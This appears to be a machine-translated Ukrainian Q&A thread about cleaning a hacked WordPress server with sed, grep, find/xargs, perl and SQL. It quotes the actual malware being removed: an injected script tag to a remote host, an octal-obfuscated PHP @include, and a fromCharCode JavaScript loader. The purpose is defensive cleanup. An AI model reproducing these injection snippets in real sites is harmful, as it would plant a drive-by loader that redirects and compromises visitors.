Як замінити цілу струну за допомогою sed або можливо grep


10

Таким чином, весь мій сервер зламали або виникли проблеми із шкідливим програмним забезпеченням. мій сайт базується на WordPress, а більшість сайтів, розміщених на моєму сервері, засновані на WordPress. Хакер додав цей рядок коду до кожного файлу та в базі даних

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Я шукав його за допомогою grep, використовуючи

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Я намагаюся замінити його у всій структурі файлів, sedі я написав таку команду.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Я index.phpспершу намагаюся замінити рядок на одному файлі , тому я знаю, що він працює.

і я знаю, що мій код неправильний. Будь ласка, допоможіть мені в цьому.

Я спробував з кодом @ Eran, і він видалив весь рядок, що добре і як очікувалося. Однак загальний жаргон такий

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

І хоча я хочу видалити весь вміст, я хочу зберегти тег відкриття php <?php.

Хоча рішення @ slybloty легко і воно спрацювало.

щоб видалити код повністю з усіх файлів, на які постраждали. Я виконую наступні 3 команди, дякую всім вам за це.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Щоб видалити рядок сценарію
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Щоб видалити @includeрядок
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Щоб видалити рядок коментарів

Також я знову запустив усі 3 команди '*.html', оскільки сценарій хакера створив небажаний index.html у всіх каталогах. Я не був впевнений, чи правильне видалення цих index.html - це правильний підхід.

тепер мені ще потрібно з’ясувати непотрібні файли та їх сліди.

Сценарій хакера також додав код JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Спробую зрозуміти, чи можу я sedце також.


Звідки ви знаєте, що ваш код неправильний?
Бета-версія

Тому що я запустив його, і він продовжує просити більше вводу в наступному рядку на кшталт `>`
Діліп Гупта

2
Ви не можете просто видалити рядок? sed -i '/ trasnaltemyrecords / d'
Еран Бен-Натан

1
Крім того , ви можете додати свій Grep там годувати все файли з цим рядком в них , як це: варіант забезпечує тільки ім'я файлу , а не відповідний текст. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
Джейсон

1
І ще одне ... Якщо ви скористаєтесь цим підходом, я скористався б додатковим параметром "резервного копіювання" для sed -i. Наприклад, sed -i.bakстворить *.bakфайл для всіх файлів, які редагуються. Використовуючи while...grepцикл, ви створюватимете резервну копію лише файлів, що містили цей рядок. Вибачте за всі додаткові коментарі, але, на мою думку, зловмисне програмне забезпечення - це сценарій "всі руки на палубу".
Джейсон

Відповіді:


2

Використовуйте подвійні лапки ( ") для рядка і не уникайте одиничних лапок ( '), ані тегів ( <>). Тікайте від косої риски ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Який би метод ви не вирішили використовувати з sed, ви можете одночасно запускати кілька процесів у кількох файлах із ідеальними параметрами фільтрації за допомогою findта xargs. Наприклад:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Це буде:

  • find - знайти
  • -type f - лише файли
  • -name '*.txt' - що закінчується php
  • -print0 - pritn їх розділено нульовими байтами
  • | xargs -0 - для кожного файлу, розділеного нульовим байтом
  • -P7 - вдало виконувати 7 процесів
  • -n1 - для кожного файлу
  • sed - для кожного файлу запустіть sed
  • -i - відредагуйте файл на місці
  • '...' - скрипт sed, який потрібно запустити з інших відповідей.

Ви можете додати -tопцію, xargsщоб побачити прогрес. Дивіться man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Одиночні цитати приймаються буквально без втечі символів. У var='hello\''вас є незакрита цитата.

Щоб виправити цю проблему, 1) Використовуйте подвійні лапки, щоб оточити sedкоманду АБО 2) Завершіть єдиний цитуваний рядок, додайте \'та повторно відкрийте рядок цитування.

Однак другий метод є більш заплутаним.

Крім того, sedможна використовувати будь-який роздільник, щоб розділити команди. Оскільки у вас є косі риски в командах, легше використовувати коми. Наприклад, використовуючи перший метод:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Використовуючи другий метод:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Цей приклад є більш навчальним, ніж практичним. Ось як '\''працює:

Перший ': Закінчення поточного цитованого буквального рядка

\': Введіть одну цитату як буквальний символ

Друга ': Повторно введіть цитований буквальний рядок

Поки там немає пробілів, ви просто продовжуватимете свою sedкоманду. Ця ідея унікальна для bash.

Я залишаю втікших <і >там, бо я не зовсім впевнений, для чого ти це використовуєш. sedвикористовує \<і \>в середньому відповідність слів. Я не впевнений, це навмисне чи ні.

Якщо це нічого не відповідає, ви, ймовірно, хочете уникнути уникнення <і >.

Редагувати: Будь ласка, дивіться рішення @ EranBen-Natan в коментарях для більш практичного вирішення фактичної проблеми. Моя відповідь - це більше ресурс щодо того, чому в ОП було запропоновано додатково ввести його оригінальну команду.

Рішення для редагування 2

Щоб це спрацювало, я роблю припущення, що у вас sedє нестандартний варіант -z. Версія GNU sedповинна мати це. Я також роблю припущення, що цей код завжди відображається у форматі, що має 6 рядків

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Як це працює: Ми використовуємо початок рядка fromCharCode, щоб відповідати всьому. -zрозбиває файл на нулі замість нових рядків. Це дозволяє нам безпосередньо шукати стрічки каналів.

[^\n]*\n- Це відповідає всім, поки канал рядка не відповідає, а потім відповідає рядку каналу, уникаючи жадного збігу регулярних виразів. Оскільки ми не ділимося на канали ліній ( -z), регулярний вираз var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nвідповідає найбільшій можливій відповідності. Наприклад, якщо \n}\nвін з'явиться десь далі у файлі, ви видалите весь код між шкідливим кодом. Таким чином, повторення цієї послідовності 6 разів відповідає нам до кінця першого рядка, а також наступних 5 рядків.

grep -lr- Просто рекурсивний, grepде ми перераховуємо лише ті файли, які мають відповідність. Таким чином, sedне редагування кожного файлу. Без цього -i.bak(не просто -i) вчинив би безлад.


Дякую @Jason, я спробую твій метод для цього. Зараз у мене немає можливості для резервного копіювання. Тому я застряг у його чищенні.
Діліп Гупта

@DilipGupta Я б запропонував створити резервну копію, де ти зараз. Ви можете використовувати щось на кшталт rsyncрезервного копіювання та відновлення.
Джейсон

Чи використовуєте ви adminer.php? здається її заразимим
Джиро Матчонсон

1

У вас встановлений модуль wp-mail-smtp? У нас однакові зловмисні програми, і в нас було щось дивне wp-content/plugins/wp-mail-smtp/src/Debug.php.

Також посилання javascript є у кожному post_contentполі в wp_postsбазі даних WordPress.


Так, у мене встановлений цей плагін, і він є там, як ви сказали. Я намагаюся спочатку очистити, а потім посилити охорону. Також зверніть увагу, що хакер встановив плагін, який називається super-socialat, перевірте це також.
Діліп Гупта

Що саме ви знайшли в тому Debug.php, я не знайшов там нічого дивного, але, можливо, він зберігається в іншому файлі, якщо ви надасте якусь частину коду, я можу, можливо, шукати файли, будь ласка? Не знайдено встановлений новий плагін.
Jiro Matchonson

1
Яким редактором ви користувалися? Якщо я відкрию це у vim, я можу побачити цю річ, але не в нано чи такому редакторі, як Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Привіт, я дивився на це через wincp, але зараз також спробував vi, все ще не знайшов речі. Tnx багато, наприклад, Ill tri для пошуку у файлах.
Джиро Матчонсон

З деякого погляду на це здається, що це заява sql, яке записується за допомогою позицій літер у змінній $ GLOBALS або щось подібне, тому його неможливо знайти, просто шукаючи "trasnaltemyrecords", я намагався шукати grep -r "NULL ); @ $ "/ var / www / html / { ,. } або інші речі, але нічого не знайшли. У будь-якому випадку у мене був старий adminer.php на сторінці wordpress, так що, можливо, також може бути джерелом цього витоку ..
Jiro Matchonson

0

Я отримав те саме, що сьогодні, всі повідомлення на сторінках додали цей неприємний скрипт вірусу

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Я зняв її з бази даних від

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

У мене принаймні немає заражених файлів

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

нічого не знайшов, але я поняття не маю, як це потрапило в базу даних, від якої я зовсім не спокійний.

Ця інфекція викликала переадресацію на сторінках, хром в основному виявляє та блокує це. Не помітили нічого дивного в - /wp-mail-smtp/src/Debug.php


Я припускаю, що це пов’язано з деяким розривом плагіну, і хакер отримав доступ із задньої двері на сайт.
Діліп Гупта

Але який плагін, 2 хаси пройшли, і все знову перенаправляється
Jiro Matchonson

0

У мене сьогодні те саме, до всіх публікацій на сторінці додано сценарій. Я успішно впорався з ними, використовуючи https://en.wordpress.org/plugins/search-and-replace/ плагін.

Крім того, я також знайшов один запис у таблиці wp_posts post_content наступної колонки:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

і видалили її вручну.


0

Для мене це працювало:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Вам потрібно шукати: * .js, * .json, * .map

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.